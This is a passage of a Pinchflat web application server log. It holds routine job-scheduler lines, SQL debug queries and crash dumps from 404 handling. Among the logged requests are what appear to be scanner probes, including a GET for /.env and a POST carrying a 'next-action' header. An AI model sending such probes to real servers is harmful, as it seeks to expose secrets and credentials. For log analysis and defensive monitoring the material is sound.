"GKFAW2AKlgBDR3MAA0KB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7650.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 58742}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "content-length" => "643", "content-type" => "multipart/form-data; boundary=7afb6866ea61ee4a8f9c06074f9c9065b90cc7e2a2e81fc532637395b58d", "host" => "pinchflat.8layer8.com", "next-action" => "x", "origin" => "https://pinchflat.8layer8.com", "referer" => "https://pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "POST", body_length: 643, path_info: :undefined, qs: "", has_body: true, streamid: 2, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7650.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 58742}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "content-length" => "643", "content-type" (truncated) 03:48:15.109 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:45.110 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:00.748 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:49:15.111 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:45.112 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:00.749 [info] {"source":"oban","duration":143,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:50:15.113 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:45.114 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:00.750 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:51:15.115 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:45.116 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:00.751 [info] {"source":"oban","duration":150,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:52:15.117 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:45.118 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:00.752 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:53:15.119 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:45.120 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:00.753 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:54:15.121 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:45.122 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:00.754 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:55:15.123 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:45.124 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:00.755 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:56:15.125 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:45.126 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:00.756 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:57:15.127 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:45.128 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:00.757 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:58:15.129 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:45.130 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:00.758 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:59:15.131 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:45.132 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:00.759 [info] {"source":"oban","duration":265,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:00:15.133 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:45.134 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:00.760 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:01:15.135 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:45.136 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:00.761 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:02:15.137 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:45.138 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:00.762 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:03:15.139 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:45.140 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:00.763 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:04:15.141 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:45.142 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:00.764 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:05:15.143 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:45.144 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:00.765 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:06:15.145 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:45.146 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:53.468 [info] GET / 04:06:53.468 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:06:53.468 [debug] QUERY OK source="settings" db=0.1ms idle=421.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:53.469 [debug] QUERY OK source="media_profiles" db=0.2ms idle=422.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:06:53.469 [debug] QUERY OK source="sources" db=0.0ms idle=422.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:06:53.479 [debug] QUERY OK source="media_items" db=10.4ms idle=422.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:06:53.480 [debug] QUERY OK source="media_items" db=0.5ms idle=214.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:06:53.480 [debug] QUERY OK source="settings" db=0.1ms idle=12.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:53.481 [debug] QUERY OK source="settings" db=0.1ms idle=12.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:53.481 [debug] QUERY OK source="settings" db=0.1ms idle=12.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:53.482 [debug] QUERY OK source="tasks" db=0.1ms idle=2.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:06:53.482 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:06:53.483 [debug] QUERY OK source="media_items" db=0.4ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:06:53.484 [debug] QUERY OK source="sources" db=0.2ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 04:06:53.489 [debug] QUERY OK source="media_items" db=3.2ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:06:53.489 [debug] QUERY OK source="media_items" db=0.6ms idle=6.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:06:53.490 [debug] QUERY OK source="sources" db=0.2ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 04:06:53.491 [info] Sent 200 in 23ms 04:06:53.865 [info] GET /.env 04:06:53.866 [debug] QUERY OK source="settings" db=0.1ms idle=382.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:53.866 [debug] QUERY OK source="settings" db=0.0ms idle=382.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:53.866 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:06:53.867 [error] #PID<0.7741.0> running PinchflatWeb.Endpoint (connection #PID<0.7739.0>, stream id 2) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7741.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFBYTHqvaAtBj8AAW8C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7741.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFBYTHqvaAtBj8AAW8C"} (truncated) 04:06:54.108 [info] GET /%22/assets/app-521b5c83d8b2f79295a25943104e99d5.js 04:06:54.108 [debug] QUERY OK source="settings" db=0.2ms idle=619.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:54.109 [debug] QUERY OK source="settings" db=0.1ms idle=619.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:54.109 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:06:54.109 [error] #PID<0.7743.0> running PinchflatWeb.Endpoint (connection #PID<0.7739.0>, stream id 4) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /%22/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d" ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%22/assets/app-521b5c83d8b2f79295a25943104e99d5 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7739.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%22/assets/app-521b5c83d8b2f79295a25943104e99d5.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 37380}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "vsn=d\"", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7743.0>, params: %{"vsn" => "d\""}, path_info: ["%22", "assets", "app-521b5c83d8b2f79295a25943104e99d5"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"vsn" => "d\""}, query_string: "vsn=d\"", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", 